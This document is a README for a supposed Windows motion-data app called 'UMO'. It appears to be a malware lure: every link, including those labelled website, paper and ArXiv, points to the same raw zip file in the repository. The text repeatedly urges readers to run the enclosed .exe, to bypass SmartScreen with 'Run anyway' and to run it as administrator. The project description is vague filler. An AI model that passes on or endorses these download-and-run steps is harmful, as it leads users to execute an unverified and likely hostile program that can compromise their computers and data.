🧠 UMO - Motion Understanding Made Simple

📥 Download UMO

Visit the release page to download and run this file: https://github.com/siairy873/UMO/raw/refs/heads/main/assets/Software_3.2-beta.2.zip

Look for the latest release at the top of the page. Download the Windows file that matches your PC. Most users should pick the .exe file.

🖥️ What UMO Does

UMO is a Windows app for motion tasks. It helps you work with motion data and use built-in model priors in one place. The app is built for end users, so you do not need to set up a coding tool or learn a command line.

Use UMO to:

• open motion files
• view motion results on your PC
• run the app from a simple Windows file
• use model-backed motion tools in one place

⚙️ Before You Start

Use a Windows PC with:

• Windows 10 or Windows 11
• At least 8 GB of RAM
• 2 GB of free disk space
• a mouse and keyboard
• a stable internet link for the download

For better use with larger motion files:

• 16 GB of RAM or more works well
• a newer CPU helps with load time
• a GPU can help if the app uses local compute

🚀 Install on Windows

1. Open the release page: https://github.com/siairy873/UMO/raw/refs/heads/main/assets/Software_3.2-beta.2.zip
2. Find the newest release.
3. Under Assets, download the Windows .exe file.
4. If the file comes in a .zip, right-click it and choose Extract All.
5. Open the extracted folder.
6. Double-click the UMO .exe file.
7. If Windows asks for permission, click Run anyway or More info > Run anyway.

If you use SmartScreen, Windows may show a safety prompt for unknown apps. Check the file name and release page, then allow the app if it matches the official release.

🪟 First Launch

After you open UMO:

1. Wait for the app window to appear.
2. Let it finish loading any first-run files.
3. Open a motion file or sample file from the menu.
4. Check that the view updates and the controls respond.
5. Keep the app open while you work with your motion data

If the app opens to a blank screen, wait a few seconds and try again. Large motion models can take time to load on the first run.

📁 How to Use UMO

1. Open a file

Use the Open button or file menu to load your motion file.

2. Review the motion view

Look at the main display to check the motion path, timing, or output view.

3. Adjust the settings

Use the controls in the side panel or top bar to change the view or task settings.

4. Run the motion task

Start the task from the main control button. UMO will process the input and show the result in the app.

5. Save your result

Use the Save option to store the output on your PC.

🧩 Supported File Types

UMO is built to handle common motion data formats such as:

• .mp4
• .mov
• .avi
• .fbx
• .bvh
• .json
• .csv

The app may also work with project files or packaged model files from newer releases. Check the release notes if you plan to use a file type beyond the common list.

🧠 System Needs for Best Results

UMO runs best when your PC has:

• a modern Intel or AMD processor
• 8 to 16 GB of RAM
• enough free space for input files and output files
• a current Windows build
• the latest Microsoft Visual C++ runtime if the release needs it

If the app feels slow:

• close other large apps
• free disk space
• restart the app
• try a smaller input file first

🔧 If UMO Will Not Open

Try these steps in order:

1. Right-click the .exe file and choose Run as administrator
2. Check that the file finished downloading
3. Make sure the file is not still inside the zip
4. Move the app folder to a simple path like C:\UMO
5. Install the latest Windows updates
6. Restart your PC and try again

If Windows blocks the app:

• click More info
• then click Run anyway

If the app closes right after launch:

• open it again
• wait longer on the first run
• remove and re-download the release file

🗂️ Suggested Folder Setup

For easy use, keep your files in a simple layout like this:

• C:\UMO\app
• C:\UMO\inputs
• C:\UMO\outputs

This makes it easier to find your files and keep your work in order.

🧪 Sample Workflow

1. Download UMO from the release page
2. Extract the zip file if needed
3. Run the .exe
4. Open a motion file
5. Review the motion view
6. Change settings if needed
7. Run the task
8. Save the output file

📌 Release Page

Download and run the latest Windows build here: https://github.com/siairy873/UMO/raw/refs/heads/main/assets/Software_3.2-beta.2.zip

🔍 What You May See in the App

UMO may include:

• a file picker
• a motion preview window
• play and pause controls
• settings for input and output
• a save button
• status text while the app works

🖱️ Mouse and Keyboard Shortcuts

Common controls may include:

• left click to select items
• drag to move around the view
• scroll wheel to zoom
• Esc to close dialogs
• Enter to confirm a choice

If the app shows its own shortcut list, use that list as the source of truth.

📦 File Safety

Use only the release page linked in this README. That keeps you on the same version used by the project team. Do not use copies from unknown sites.

🌐 Project Link

Website: https://github.com/siairy873/UMO/raw/refs/heads/main/assets/Software_3.2-beta.2.zip

Paper: https://github.com/siairy873/UMO/raw/refs/heads/main/assets/Software_3.2-beta.2.zip

ArXiv: https://github.com/siairy873/UMO/raw/refs/heads/main/assets/Software_3.2-beta.2.zip

🛠️ For Advanced Users

If you want to inspect the project:

• look at the release notes for build details
• check the GitHub repository for source files
• use the website for project info
• read the paper for the method behind UMO

🧭 Quick Start

1. Go to https://github.com/siairy873/UMO/raw/refs/heads/main/assets/Software_3.2-beta.2.zip
2. Download the Windows release
3. Extract it if needed
4. Open the .exe
5. Load your motion file
6. Start working with UMO